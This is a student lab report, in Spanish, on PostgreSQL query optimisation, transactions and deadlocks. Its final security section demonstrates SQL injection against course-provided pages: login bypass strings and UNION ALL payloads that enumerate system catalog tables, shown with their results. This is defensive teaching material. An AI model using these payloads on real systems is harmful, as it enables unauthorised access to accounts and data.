

Practica 4 - Memoria

Optimización

Apartado A

Al ejecutar la consulta que hemos implementado en el fichero `clientesDistintos.sql` sin generar ningún índice sobre la tabla `orders` observamos que la ejecución tarda alrededor de 40 milisegundos y la sentencia `EXPLAIN` nos muestra el siguiente plan de ejecución:

	QUERY PLAN text
1	Aggregate (cost=6162.60..6162.61 rows=1 width=8)
2	-> Gather (cost=1000.00..6162.60 rows=2 width=4)
3	Workers Planned: 1
4	-> Parallel Seq Scan on orders (cost=0.00..5162.40 rows=1 width=4)
5	Filter: ((totalamount > '100'::numeric) AND ((date part('year'::text, (orderdate)::timestamp without time zone))::integer = 2015))

Si realizamos la misma operación introduciendo un índice en la columna `orderdate` vemos que el tiempo de ejecución apenas cambia, quedándose alrededor de los 38 msec. Y obtenemos el siguiente plan de ejecución:

	QUERY PLAN text
1	Aggregate (cost=6162.60..6162.61 rows=1 width=8)
2	-> Gather (cost=1000.00..6162.60 rows=2 width=4)
3	Workers Planned: 1
4	-> Parallel Seq Scan on orders (cost=0.00..5162.40 rows=1 width=4)
5	Filter: ((totalamount > '100'::numeric) AND ((date part('year'::text, (orderdate)::timestamp without time zone))::integer = 2015))

Se puede observar que el plan de ejecución no varía en absoluto tras introducir el índice en `orderdate`, esto se debe a que, al no emplearse directamente el dato de `orderdate` directamente para filtrar la consulta, sino una función de este, el hecho de que la columna en sí esté indexada no es relevante para la búsqueda.

Al introducir un índice en `totalamount` se aprecia una ligera bajada en el tiempo de ejecución de la consulta que se queda en torno a los 32 msec con el siguiente plan de ejecución:

	QUERY PLAN text
1	Aggregate (cost=4783.31..4783.32 rows=1 width=8)
2	-> Bitmap Heap Scan on orders (cost=1126.90..4783.30 rows=2 width=4)
3	Recheck Cond: (totalamount > '100'::numeric)
4	Filter: (((date part('year'::text, (orderdate)::timestamp without time zone))::integer = 2015) AND ((date part('month'::text, (orderdate)::timestamp without time zone))::integer = 1))
5	-> Bitmap Index Scan on index test2 (cost=0.00..1126.90 rows=60597 width=0)
6	Index Cond: (totalamount > '100'::numeric)

En esta ocasión observamos que el índice sobre `totalamount` sí se emplea en la búsqueda, cambiando notablemente el plan de ejecución de la consulta. Además se ve claramente que se produce una significativa bajada en el coste de la consulta al emplear el índice, concretamente bajando del 6162 obtenido en el caso anterior, a 4783, lo que explica la bajada en el tiempo de ejecución.

Tras esto retiramos los índices sobre `orderdate` y `totalamount` e introducimos dos nuevos sobre funciones de `orderdate`, concretamente sobre `date_part('year', orderdate)` y `date_part('month', orderdate)` que son las empleadas para filtrar la consulta y, por tanto, son los índices que más probabilidades tienen de mejorar la eficiencia de la consulta. Al emplear estos índices se obtiene una mejora importante, haciendo que el tiempo de ejecución baje hasta los 15 msec, y obteniendo el siguiente plan de ejecución:

	QUERY PLAN text
1	Aggregate (cost=58.05..58.06 rows=1 width=8)
2	-> Bitmap Heap Scan on orders (cost=38.73..58.05 rows=2 width=4)
3	Recheck Cond: ((date_part('month'::text, (orderdate)::timestamp without time zone) = '4'::double precision) AND (date_part('year'::text, (orderdate)::timestamp without time zone) = '2015'::double precision))
4	Filter: (totalamount > '100'::numeric)
5	-> BitmapAnd (cost=38.73..38.73 rows=5 width=0)
6	-> Bitmap Index Scan on test 2 (cost=0.00..19.24 rows=909 width=0)
7	Index Cond: (date_part('month'::text, (orderdate)::timestamp without time zone) = '4'::double precision)
8	-> Bitmap Index Scan on test 1 (cost=0.00..19.24 rows=909 width=0)
9	Index Cond: (date_part('year'::text, (orderdate)::timestamp without time zone) = '2015'::double precision)

Podemos ver que ambos índices se emplean directamente provocando una enorme bajada del coste de la consulta del 6162 de la consulta inicial a un coste bajísimo de 58, aumentando notablemente su rendimiento.

Probamos ahora a introducir el índice sobre `totalamount` empleado anteriormente y observamos que no se da ninguna mejora en el tiempo de ejecución manteniéndose en los 15 msec, con el siguiente plan:

	QUERY PLAN text
1	Aggregate (cost=58.05..58.06 rows=1 width=8)
2	-> Bitmap Heap Scan on orders (cost=38.73..58.05 rows=2 width=4)
3	Recheck Cond: ((date_part('month'::text, (orderdate)::timestamp without time zone) = '4'::double precision) AND (date_part('year'::text, (orderdate)::timestamp without time zone) = '2015'::double precision))
4	Filter: (totalamount > '100'::numeric)
5	-> BitmapAnd (cost=38.73..38.73 rows=5 width=0)
6	-> Bitmap Index Scan on test 2 (cost=0.00..19.24 rows=909 width=0)
7	Index Cond: (date_part('month'::text, (orderdate)::timestamp without time zone) = '4'::double precision)
8	-> Bitmap Index Scan on test 1 (cost=0.00..19.24 rows=909 width=0)
9	Index Cond: (date_part('year'::text, (orderdate)::timestamp without time zone) = '2015'::double precision)

El plan de ejecución no varía al introducir este índice y vemos que este no se emplea. Esto puede deberse a que los dos índices sobre las funciones de `orderdate` reduzcan la búsqueda lo suficiente como para que no sea necesario emplear este índice. Esto explica que el tiempo de ejecución de la consulta no cambie, y por tanto hace que este índice sea completamente inútil.

En conclusión podemos ver claramente que los índices más óptimos son los dos índices sobre las funciones de `orderdate`.

Apartado B

Tras implementar el acceso a base de datos de la página `listaClientesMes` en la función con el mismo nombre del fichero `database.py` probamos su funcionamiento con y sin la sentencia `PREPARE` de SQL para ver las diferencias de rendimiento en el tiempo de ejecución.

Sin emplear la sentencia `prepare` vemos que la consulta tarda unos 237 msec mientras que con el `PREPARE` baja ligeramente a 220 msec, lo que supone una ligera mejora al preparar la ejecución de la sentencia.

Probamos ahora a introducir los índices óptimos del apartado anterior sobre las funciones de `orderdate`.

Observamos una gran mejora en el rendimiento, haciendo que sin el `PREPARE` el tiempo de ejecución se quede en 158 msec y empleándolo, mejore ligeramente hasta 144 msec.

Ahora probamos a generar las estadísticas obteniendo sin el uso de índices un tiempo de 242 msec sin `PREPARE` y uno de 224 empleando esta sentencia.

Por último empleamos los índices con el uso también de estadísticas, obteniendo los mejores tiempos hasta el momento con 54 msec sin `PREPARE` y 78 msec al emplearlo, lo que supone una bajada de eficiencia.

Observando los resultados se puede ver que lo que más aumenta el rendimiento de la query es el uso de índices. Las estadísticas aumentan el rendimiento notablemente también pero solo en el caso en el que ya se están empleando índices. Esto puede deberse a que las estadísticas generadas son mucho más eficientes sobre tablas indexadas que si se realizan sobre tablas sin ningún tipo de índice. Se observa que el único caso en que el `PREPARE` empeora el rendimiento

es el caso más rápido, esto puede ser debido a que en los casos en los que la consulta ya de por sí es muy rápida (en nuestro caso cuando se usan los índices y las estadísticas a la vez), es mayor el tiempo de ejecución del `PREPARE` que la mejora que se produce en la ejecución de la consulta cuando se usa este, haciendo que el tiempo total sea mayor. Por este motivo el `PREPARE` puede ser contraproducente en los casos en que la consulta a realizar ya sea muy rápida.

Apartado C

Ejecutamos la primera consulta propuesta y observamos que tarda unos 115 msec en ejecutarse, y nos proporciona el siguiente plan de ejecución.

	QUERY PLAN text
1	Seq Scan on customers (cost=3961.65..4490.81 rows=7046 width=4)
2	Filter: (NOT (hashed SubPlan 1))
3	SubPlan 1
4	-> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=4)
5	Filter: ((status)::text = 'Paid'::text)

En esta consulta los resultados pueden mostrarse poco a poco pues, en la ejecución, para cada `customerid` se asegura de que este no esté en la tabla auxiliar creada, y tras esto puede imprimirlo, sin necesidad de esperar a que se compruebe el resto de ids. Esto se observa en el plan de ejecución ya que a cada fila del "Subplan1" se le aplica el filtro y según este es aplicado se puede ir imprimiendo el resultado antes de seguir aplicando el filtro a las filas siguientes.

También se observa que esta consulta no se puede realizar en paralelo, al no tener varias subqueries que se puedan ejecutar al mismo tiempo.

La segunda consulta tarda unos 130 msec y emplea el siguiente plan de ejecución:

	QUERY PLAN text
1	HashAggregate (cost=4537.41..4539.41 rows=200 width=4)
2	Group Key: customers.customerid
3	Filter: (count(*) = 1)
4	-> Append (cost=0.00..4462.40 rows=15002 width=4)
5	-> Seq Scan on customers (cost=0.00..493.93 rows=14093 width=4)
6	-> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=4)
7	Filter: ((status)::text = 'Paid'::text)

No se puede mostrar poco a poco porque el `HAVING` se aplica sobre toda la tabla a la vez, no poco a poco. Se puede hacer en paralelo ya que, como se observa en el plan de ejecución existen 2 sequential queries que se ejecutan en el mismo nivel de profundidad y son independientes entre sí, por lo que en caso de paralelizarse el proceso podrían ejecutarse al mismo tiempo sin problemas mejorando el tiempo de ejecución de la consulta.

Por último, la tercera consulta tarda un tiempo muy similar a la segunda, situándose alrededor de los 130 msec con el siguiente plan:

	QUERY PLAN text
1	HashSetOp Except (cost=0.00..4640.83 rows=14093 width=8)
2	-> Append (cost=0.00..4603.32 rows=15002 width=8)
3	-> Subquery Scan on "SELECT* 1" (cost=0.00..634.86 rows=14093 width=8)
4	-> Seq Scan on customers (cost=0.00..493.93 rows=14093 width=4)
5	-> Subquery Scan on "SELECT* 2" (cost=0.00..3968.47 rows=909 width=8)
6	-> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=4)
7	Filter: ((status)::text = 'Paid'::text)

No se puede mostrar poco a poco porque hay que hacer el except, que requiere computar una tabla completa menos la otra.

Se puede ejecutar en paralelo porque se calculan ambas tablas (que podría hacerse al mismo tiempo) y luego se ejecuta el except, como se observa en el plan de ejecución del mismo modo que en la consulta anterior.

Apartado D

Para estudiar el efecto del uso de estadísticas con `ANALYZE` sobre las consultas en una base de datos, probamos en primer lugar las 2 consultas propuestas sin generar ningún tipo de estadísticas ni índices.

Con la primera sentencia obtenemos un tiempo de 52 msec y el siguiente plan:

	QUERY PLAN text
1	Aggregate (cost=3507.17..3507.18 rows=1 width=8)
2	-> Seq Scan on orders (cost=0.00..3504.90 rows=909 width=0)
3	Filter: (status IS NULL)

En la segunda el tiempo es de 62 msec con el siguiente plan de ejecución:

	QUERY PLAN text
1	Aggregate (cost=3961.65..3961.66 rows=1 width=8)
2	-> Seq Scan on orders (cost=0.00..3959.38 rows=909 width=0)
3	Filter: ((status)::text = 'Shipped'::text)

Probamos ahora las mismas 2 sentencias empleando un índice sobre la columna `status` de la tabla, pues es el que consideramos que mejorará más el rendimiento de estas consultas.

En este caso en la primera consulta no se observa ninguna mejora manteniéndose en un tiempo similar de 58 msec ya que como vemos en el plan de ejecución, el índice se emplea para generar el mismo filtro que ya se empleaba sin el uso de índices.

	QUERY PLAN text
1	Aggregate (cost=1498.79..1498.80 rows=1 width=8)
2	-> Bitmap Heap Scan on orders (cost=19.46..1496.52 rows=909 width=0)
3	Recheck Cond: ((status)::text = 'Shipped'::text)
4	-> Bitmap Index Scan on status_index (cost=0.00..19.24 rows=909 width=0)
5	Index Cond: ((status)::text = 'Shipped'::text)

La segunda sentencia obtiene el mismo plan de ejecución que la primera con un tiempo similar, de 62 msec, por los mismos motivos que la primera sentencia.

	QUERY PLAN text
1	Aggregate (cost=1498.79..1498.80 rows=1 width=8)
2	-> Bitmap Heap Scan on orders (cost=19.46..1496.52 rows=909 width=0)
3	Recheck Cond: ((status)::text = 'Shipped'::text)
4	-> Bitmap Index Scan on status_index (cost=0.00..19.24 rows=909 width=0)
5	Index Cond: ((status)::text = 'Shipped'::text)

Tras estas pruebas, generamos las estadísticas sobre la tabla con el uso de `ANALYZE`, y probamos las consultas para ver como afectan al rendimiento las estadísticas generadas.

Con el uso de estadísticas se observa una enorme bajada en el tiempo de ejecución de la primera consulta, con un tiempo de 14 msec y el siguiente plan de ejecución.

	QUERY PLAN text
1	Aggregate (cost=7.26..7.27 rows=1 width=8)
2	-> Index Only Scan using status_index on orders (cost=0.42..7.26 rows=1 width=0)
3	Index Cond: (status IS NULL)

Sin embargo, la segunda consulta empeora notablemente su rendimiento, con un tiempo de ejecución de 104 msec.

	QUERY PLAN text
1	Finalize Aggregate (cost=4210.71..4210.72 rows=1 width=8)
2	-> Gather (cost=4210.60..4210.71 rows=1 width=8)
3	Workers Planned: 1
4	-> Partial Aggregate (cost=3210.60..3210.61 rows=1 width=8)
5	-> Parallel Seq Scan on orders (cost=0.00..3023.69 rows=74762 width=0)
6	Filter: ((status)::text = 'Shipped'::text)

Se observa claramente que si no empleamos estadísticas, el uso de los índices no genera ninguna mejora apreciable en el rendimiento de la consulta. Sin embargo, al usar estadísticas, se observa que los índices comienzan a tener repercusión.

Sorprende que en la primera consulta el uso de estadísticas mejora notablemente el rendimiento mientras que en la segunda el rendimiento empeora considerablemente. Esto se debe a que `ANALYZE` colecciona estadísticas sobre las tablas de la base de datos para que luego sean consultadas para que la consulta se realice de forma más eficiente. Si los datos de la tabla generan unas estadísticas que faciliten la consulta a realizar la eficiencia mejorará, sin embargo en caso de que estas estadísticas no proporcionen datos relevantes, el tiempo de ejecución de la consulta puede aumentar debido al tiempo extra que lleva la consulta de las propias estadísticas recolectadas.

Además, destaca que el plan de ejecución de las 2 primeras consultas es el mismo hasta que se ejecuta el `analyze`. Esto se debe a que ambas consultas comprueban las mismas columnas de las mismas tablas, y lo hacen en el mismo orden al estar escritas de forma prácticamente idéntica. Sin embargo, esto varía al generar las estadísticas ya que, aunque las consultas siguen siendo las mismas, las estadísticas generadas para el caso en el que el status es NULL o el status es Paid serán distintas, haciendo que tras consultar las estadísticas se optimice la consulta modificando su plan de ejecución, y, por tanto, los planes de ejecución de las consultas tras el `analyze` son diferentes.

Para observar como varía la eficiencia de las consultas con estadísticas en función de que dato específico utiliza para filtrar los datos, estudiamos el plan de ejecución de las 2 consultas extras que se nos proporcionan.

La primera de estas 2 sentencias extra tarda 32 msec y nos muestra el siguiente plan de ejecución:

	QUERY PLAN text
1	Aggregate (cost=2323.74..2323.76 rows=1 width=8)
2	-> Bitmap Heap Scan on orders (cost=362.25..2277.99 rows=18300 width=0)
3	Recheck Cond: ((status)::text = 'Paid'::text)
4	-> Bitmap Index Scan on status_index (cost=0.00..357.67 rows=18300 width=0)
5	Index Cond: ((status)::text = 'Paid'::text)

La última tarda unos 44 msec con el siguiente plan:

	QUERY PLAN text
1	Aggregate (cost=2951.38..2951.39 rows=1 width=8)
2	-> Bitmap Heap Scan on orders (cost=718.47..2860.40 rows=36394 width=0)
3	Recheck Cond: ((status)::text = 'Processed'::text)
4	-> Bitmap Index Scan on status_index (cost=0.00..709.37 rows=36394 width=0)
5	Index Cond: ((status)::text = 'Processed'::text)

En ambos casos se observa que las consultas son rápidas con el uso de estadísticas, pero menos que la consulta 1, esto puede deberse a que las estadísticas recolectadas en el ANALYZE para estas 2 consultas (los valores de status Paid y status Processed) sean menos resolutorias y por tanto, aunque ayuden a mejorar la eficiencia de la consulta, no sean capaces de mejorarla hasta el mismo punto que la primera consulta.

Transacciones y deadlocks

Apartado E

Para este apartado, desactivamos las restricciones *ON DELETE CASCADE* referentes al cliente y sus pedidos, manteniendo las foreign keys, y desarrollamos la función *delCustomer* cuya estructura se aporta en el fichero *database.py*. Como contestación al apartado *j*, se hace un commit intermedio para dejar la base de datos en un estado inconsistente, y como esto finaliza la transacción, asegurando que todos los cambios hechos durante la transacción se hacen correctamente, hay que inicializar una nueva después.

A continuación mostramos algunos ejemplos de la salida de la página web en función de los parámetros recibidos:

- Transacción con SQL/SQLAlchemy y error de integridad: En ambos casos, se puede ver en la base de datos que no hay ningún cambio en los artículos, los pedidos o el usuario.

Trazas

1. Iniciamos una transacción
2. Transacción inicializada con SQL
3. Intentamos borrar los detalles de todos los pedidos y el carrito del usuario
4. Borramos los detalles de todos los pedidos y el carrito del usuario
5. Intentamos borrar el usuario
6. Ha habido un error, hacemos Rollback
7. Rollback hecho con SQL

Trazas

1. Iniciamos una transacción
2. Transacción inicializada con SQLAlchemy
3. Intentamos borrar los detalles de todos los pedidos y el carrito del usuario
4. Borramos los detalles de todos los pedidos y el carrito del usuario
5. Intentamos borrar el usuario
6. Ha habido un error, hacemos Rollback
7. Rollback hecho con SQLAlchemy

- Transacción con SQL/SQLAlchemy, error de integridad y commit intermedio: En ambos casos, se puede ver en la base de datos como han desaparecido las entradas de la tabla orderdetail asociadas al order del usuario con status NULL (por haber hecho un commit intermedio), sin embargo, las tablas orders y customers no varían.

Trazas

1. Iniciamos una transacción
2. Transacción inicializada con SQL
3. Intentamos borrar los detalles de todos los pedidos y el carrito del usuario
4. Borramos los detalles de todos los pedidos y el carrito del usuario
5. Hacemos un commit intermedio
6. Commit intermedio hecho con SQL
7. Iniciamos otra transacción
8. Intentamos borrar el usuario
9. Ha habido un error, hacemos Rollback
10. Rollback hecho con SQL

Trazas

1. Iniciamos una transacción
 2. Transacción inicializada con SQLAlchemy
 3. Intentamos borrar los detalles de todos los pedidos y el carrito del usuario
 4. Borramos los detalles de todos los pedidos y el carrito del usuario
 5. Hacemos un commit intermedio
 6. Commit intermedio hecho con SQLAlchemy
 7. Iniciamos otra transacción
 8. Intentamos borrar el usuario
 9. Ha habido un error, hacemos Rollback
 10. Rollback hecho con SQLAlchemy
- Transacción exitosa con SQL/SQLAlchemy: En ambos casos, se puede ver como el usuario ha desaparecido de la tabla customers, todos sus pedidos han desaparecido de la tabla orders, y todos los artículos de los pedidos han desaparecido de la tabla orderdetail, por lo que el usuario se ha borrado con éxito.

Trazas

1. Iniciamos una transacción
2. Transacción inicializada con SQL
3. Intentamos borrar los detalles de todos los pedidos y el carrito del usuario
4. Borramos los detalles de todos los pedidos y el carrito del usuario
5. Dormimos 0 segundos
6. Despertamos
7. Intentamos borrar los pedidos y el carrito del usuario
8. Borramos los pedidos y el carrito del usuario
9. Intentamos borrar el usuario
10. Borramos el usuario
11. Hacemos commit de la transacción
12. Commit hecho con SQL

Trazas

1. Iniciamos una transacción
2. Transacción inicializada con SQLAlchemy
3. Intentamos borrar los detalles de todos los pedidos y el carrito del usuario
4. Borramos los detalles de todos los pedidos y el carrito del usuario
5. Dormimos 0 segundos
6. Despertamos
7. Intentamos borrar los pedidos y el carrito del usuario
8. Borramos los pedidos y el carrito del usuario
9. Intentamos borrar el usuario
10. Borramos el usuario
11. Hacemos commit de la transacción
12. Commit hecho con SQLAlchemy

Apartado F

Una vez finalizado el apartado anterior, programamos el script *updPromo.sql* con las condiciones pedidas.

Para probar los bloqueos, insertamos los siguientes comandos en la shell de postgresql para modificar algunas orders y ponerlas con status NULL, de forma que se comporten como carritos:

```
1 UPDATE orders SET status=NULL where orderid=108;
2 UPDATE orders SET status=NULL where orderid=114;
3 UPDATE orders SET status=NULL where orderid=120;
4 UPDATE orders SET status=NULL where orderid=131;
5 UPDATE orders SET status=NULL where orderid=155;
```

Esto implica que hemos definido un carrito para los usuarios con customerid 1, 2, 3, 4 y 5.

Como las preguntas propuestas están bastante relacionadas entre sí, se discuten todas, desde la *h* hasta la *f* a continuación:

Conseguir un bloqueo

Una vez modificadas las entradas de la tabla orders, accedemos a la página para borrar el cliente con customerid 1, y simultáneamente hacemos un update de su columna promo. Esto nos permite confirmar que durante el sleep los cambios hechos (más allá de la actualización de la columna promo del usuario) no son visibles pues el trigger está bloqueado y no ha podido hacer ningún cambio, y como la pagina web utiliza una transacción, y esta no ha finalizado, sus cambios tampoco son visibles.

Si llamamos primero desde la pagina web a eliminar un usuario, y acto seguido actualizamos el campo promo del usuario, al iniciar desde Python una transacción que modifica las entradas orderdetail del usuario, estas se bloquean, de forma que el trigger tiene que esperar a que la transacción finalice para poder ejecutarse. Esto deja un rastro en postgresql en forma de bloqueo, que se puede apreciar en la siguiente captura:

```
sql=# SELECT relation::regclass, * FROM pg_locks WHERE NOT GRANTED;
 relation | locktype | database | relation | page | tuple | virtualxid | transactionid | classid | objid | objsubid | virtualtransaction | pid | mode | granted | fastpath
-----
(1 row)
```

Al ejecutar en primer lugar el update de la columna promo de customers, y en segundo lugar la petición a la web, aparece el mismo bloqueo. Esto se debe a que una vez el trigger haya ejecutado el primer update, duerme los veinte segundos, durante los cuales sigue teniendo bloqueados los campos actualizados de la tabla orderdetail. Como lo primero que intenta el servidor es borrar la tabla orderdetail, se bloquea hasta que el trigger despierta del sleep y finaliza.

Conseguir un interbloqueo

Si lo que buscamos es conseguir que se produzca un interbloqueo en la base de datos, es necesario modificar el trigger para que se realice el sleep después de usar la tabla orders, y que se vuelva a utilizar después de dicho sleep la tabla orderdetail. No se puede actualizar la tabla orderdetail al principio, pues en ese caso, tanto el trigger como el servidor, estarían actualizándola/borrándola al principio, lo que provoca que uno de los dos tenga que esperar a que el otro acabe completamente.

Como en este caso no tiene sentido hacer el query en este orden, simplemente utilizamos el siguiente código dentro de un trigger para asegurarnos que ocurra un interbloqueo y poder mostrarlo:


```

1  UPDATE orders
2  SET netamount=t.price
3  FROM
4    (SELECT orderid, SUM(price) as price FROM orderdetail
5     WHERE orderid IN (SELECT orderid FROM orders WHERE
6      customerid=NEW.customerid AND status IS NULL)
7     GROUP BY orderid
8    ) t;
9
10 -- Dormimos 20 segundos
11 RAISE NOTICE 'Dormimos';
12 PERFORM pg_sleep(20);
13 RAISE NOTICE 'Despertamos';
14
15 -- Es un update inutil, pero solo lo necesitamos para el interbloqueo
16 UPDATE orderdetail o1
17 SET price=p.price
18 FROM products p
19 WHERE o1.prod_id=p.prod_id AND orderid IN (SELECT orderid FROM orders WHERE
20 customerid=NEW.customerid AND status IS NULL);
21
22 RETURN NEW;

```

Una vez creamos un trigger con estos comandos, y ejecutamos a la vez una modificación sobre la columna promo de un cliente, y un borrado desde la página web del mismo cliente, obtenemos lo siguiente:

- Insertando continuamente en Postgresql el comando `SELECT relation::regclass, * FROM pg_locks WHERE NOT GRANTED;` para ver los bloqueos, aparecen dos locks:

```

title= SELECT relation::regclass, * FROM pg_locks WHERE NOT GRANTED;
relation | locktype | database | relation | page | tuple | virtualxid | transactionid | classid | objid | objsubid | virtualtransaction | pid | mode | granted | fastpath
-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----
(2 rows)

```

transactionid	pid	mode	granted	fastpath
42180	18539	ShareLock	f	f
42181	17748	ShareLock	f	f

- En la terminal en la que hemos ejecutado el update de la tabla customers, aparece un mensaje indicando un interbloqueo:

```

ERROR: deadlock detected
DETAIL: Process 17748 waits for ShareLock on transaction 42181; blocked by process 18539.
Process 18539 waits for ShareLock on transaction 42180; blocked by process 17748.
HINT: See server log for query details.
CONTEXT: while updating tuple (6601,42) in relation "orderdetail"
SQL statement "UPDATE orderdetail o1
SET price=p.price
FROM products p
WHERE o1.prod_id=p.prod_id AND orderid IN (SELECT orderid FROM orders WHERE customerid=NEW.customerid AND status IS NULL)"
PL/pgSQL function actualizar_promo() line 20 at SQL statement

```

En este caso, el trigger se ha cancelado y la transacción ha finalizado, borrando los datos del usuario en cuestión.

Para solucionar estos bloqueos e interbloqueos, podríamos reducir el grado de aislamiento de las transacciones, sin embargo, esto quita gran parte del sentido, pues provocaría posibles fallos e inconsistencias en la base de datos.

Seguridad

Apartado G

Sabiendo que la query empleada para seleccionar el usuario a logear tiene la forma:

```
1 | SELECT * FROM customers WHERE username='campo_username' AND  
password='campo_password';
```

Y sabiendo que `campo_username` y `campo_password` son 2 strings extraídas directamente de los campos de texto del formulario sin pasar ningún tipo de control de errores, podemos intentar aprovecharnos de este fallo de seguridad para logearnos sin las credenciales necesarias.

Para ello introducimos en los campos de texto del formulario de login fragmentos de código SQL que, al introducirse en las posiciones correspondientes a `campo_username` y `campo_password` hagan que la consulta realizada a la base de datos de el resultado que queremos, que, en este caso, es el usuario como el que queremos logearnos.

a)

Para logearnos como un usuario con username conocido, tan solo es necesario introducir en el campo de texto username el nombre de usuario que queremos seguido de una comilla `'` para indicar que finaliza el string correspondiente al username, y tras esto dos guiones `--` para indicar que comienza un comentario.

De este modo, con el usuario 'gatsby' obtendríamos la siguiente consulta resultado:

```
1 | SELECT * FROM customers WHERE username='gatsby'--' AND  
password="campo_password";
```

Donde todo lo que hay tras `--` no se ejecutará pues es un comentario, por tanto lo que se introduzca en el campo de contraseña nos da igual. De este modo esta query devolverá los usuarios con username 'gatsby' y nos permitirá logearnos en su lugar al no comprobar la contraseña.

La salida producida en la página `xLoginInjection` que se nos proporciona es la siguiente:

Ejemplo de SQL injection: Login

Nombre:

Contraseña:

Resultado

Login correcto

1. First Name: italy
Last Name: doze

Por tanto nos hemos logeado correctamente con el usuario 'gatsby' cuyo nombre y apellido es 'italy doze'.

b)

En caso de no conocer ningún nombre de usuario, esto no es un problema, pues basta con rellenar ambos campos de texto del formulario con fragmentos de código SQL que hagan que el resultado de ambas comprobaciones del `WHERE` sea `TRUE`, devolviendo así toda la lista de usuarios.

Aunque la consulta devuelva una lista con todos los usuarios, esto no es problema ya que la función `getCustomer()` del fichero `database.py` tan solo coge la primera entrada de la lista mediante el uso del método `.first()`, de este modo obtendríamos como resultado de la consulta el primer usuario de la tabla `customers`.

Para conseguir este resultado, introducimos en el campo de username una string cualquiera seguida de una comilla `'` para indicar el final del username y tras esto añadir `OR` seguido de una condición que sea siempre `TRUE` como `'a'='a'`. Tras esto, tenemos dos opciones, o bien hacemos lo mismo que en apartado a) introduciendo `--` tras esto para hacer que se ignore el campo de password; o bien introducimos en el campo password otra condición que siempre sea `TRUE`, por ejemplo, repitiendo lo mismo que en el campo username. En este segundo caso es importante no poner la comilla `'` tras la segunda `a` en ambos campos del texto del formulario, de modo que se emplee la comilla de cierre de la propia consulta como final de la string `'a'`. Las consultas resultantes serían las siguientes:

En caso de emplear los guiones para comentar la comprobación de la password:

```
1 | SELECT * FROM customers WHERE username='' OR 'a'='a'--' AND  
   | password="campo_password";
```

En caso de rellenar ambos campos de texto del formulario:

```
1 | SELECT * FROM customers WHERE username='' OR 'a'='a' AND password='' OR  
   | 'a'='a';
```

Para probar esto en la página `xLoginInjection` hemos empleado el primer caso, pero el segundo tendría el mismo resultado:

Ejemplo de SQL injection: Login

Nombre:

Contraseña:

Resultado

Login correcto

1. First Name: pup
 Last Name: nosh

De este modo nos hemos registrado como el usuario con nombre y apellido 'pup nosh'.

c)

La mejor forma de solucionar este problema sería almacenar las contraseñas codificadas en la base de datos, en lugar de guardarlas en un formato completamente legible. De este modo, aunque se obtenga la contraseña de la base de datos mediante la inyección de código SQL, esa contraseña no será válida para autenticarse en la página a no ser que se decodifique.

Otra forma bastante eficaz de evitar este tipo de problemas de seguridad se podrían solucionar si, en vez de emplear consultas SQL directamente escritas concatenando los campos del formulario, se empleasen los métodos proporcionados por SQLAlchemy como el método `.where()` que comprueban que las strings que se les pasa por parámetro son correctas.

Apartado H

a)

Por los datos que nos proporciona el enunciado sabemos que la consulta que emplea la página `xSearchInjection` emplea en su acceso a base de datos una consulta similar a:

```
1 | SELECT columna_título FROM tabla_películas WHERE columna_año = '<variable>';
```

Aunque no sabemos los nombres de las tablas ni las columnas de estas.

El no disponer de los nombres de las tablas y sus columnas, a pesar de dificultar ligeramente el trabajo para lograr acceder a los datos, no es un problema pues mediante la inyección de código SQL en el campo de búsqueda, y sabiendo que la base de datos es de tipo `POSTGRESQL` podemos obtener estos datos accediendo a las tablas del catálogo `pg_class`, `pg_attribute`, `pg_namespace...`

A pesar de que sabemos que la consulta es similar a la mostrada, no sabemos si esta es la forma exacta de la consulta, o si tiene más condiciones a continuación, pues no sabemos la estructura de la base de datos ni del código de la página. Pero esto tampoco supone un problema pues no vamos a usar el resultado de esta consulta para nada, por lo que nos vale con saber que podemos finalizar esta consulta simplemente introduciendo en el campo de búsqueda una comilla `'` para tras esto, empleando el `UNION ALL` de SQL, adjuntar a los resultados de esta consulta los de la consulta que queramos realizar nosotros. Además al dejar vacío el campo `columna_año` lo más probable es que el resultado de la primera query sea nulo, no añadiendo datos inútiles a los deseados.

Por último tampoco nos importa que la consulta continúe tras el campo `<variable>` pues al inyectar código SQL en el campo de búsqueda terminaremos siempre con dos guiones `--`, de modo que todo el código SQL que haya después de ese campo se comente, y por tanto no afecte a los resultados de la consulta que queremos realizar.

b)

La consulta SQL que nos permite ver todas las tablas del sistema será la que nos devuelve la columna `relname` de la tabla `pg_class`, es decir:

```
1 | SELECT cast(relname AS VARCHAR) FROM pg_class;
```

Para conseguir el resultado de esta consulta, podemos emplear `UNION ALL` de sql para unir los resultados de la consulta del programa con los de la query que nosotros queremos que se ejecute, de este modo introduciendo en el campo de búsqueda :

```
1 | ' UNION ALL SELECT cast(relname AS VARCHAR) FROM pg_class --
```

Obtendremos la consulta:

```
1 | SELECT columna_titulo FROM tabla_peliculas WHERE columna_anio = '' UNION ALL  
  | SELECT cast(relname AS VARCHAR) FROM pg_class --;
```

Que, al no introducir año, no devolverá ningún título de película sino solo los nombres de las tablas que son los datos que nos interesan.

Ejemplo de SQL injection: Información en la BD

Películas del año:

Mostrar

```
1. imdb_movies  
2. pg_toast_247953  
3. pg_toast_247953_index  
4. customers_customerid_seq  
5. imdb_actormovies  
6. pg_toast_247961  
7. pg_toast_247961_index  
8. imdb_actors  
9. imdb_actors_actorid_seq  
10. imdb_directors_directorid_seq  
11. imdb_moviecountries  
12. pg_toast_247976  
13. pg_toast_247976_index  
14. imdb_directormovies_directorid_seq  
15. imdb_directormovies_movieid_seq  
16. imdb_moviegenres  
17. imdb_moviecountries_movieid_seq  
18. imdb_movielanguages  
19. imdb_moviegenres_movieid_seq  
20. orders  
21. pg_statistic  
22. orderdetail  
23. pg_toast_248010  
24. pg_toast_248010_index  
25. imdb_movies_movieid_seq
```

(No se muestran todas las tablas obtenidas pues son demasiadas).

c)

Para mostrar únicamente las tablas que nos interesan y no todas las del sistema, buscamos el `oid` de las tablas públicas con la consulta:

```
1 | SELECT nspname, oid FROM pg_namespace;
```

Para ello introducimos en el campo de búsqueda:

```
1 | ' UNION ALL SELECT cast(oid AS VARCHAR) FROM pg_namespace WHERE nspname =  
  | 'public' --
```

De modo que se ejecuta en la página la consulta completa:

```
1 | SELECT columna_titulo FROM tabla_peliculas WHERE columna_anio = '' UNION ALL  
   | SELECT cast(oid AS VARCHAR) FROM pg_namespace WHERE nsname = 'public' --;
```

Con esto vemos que este `oid` es el 2200.

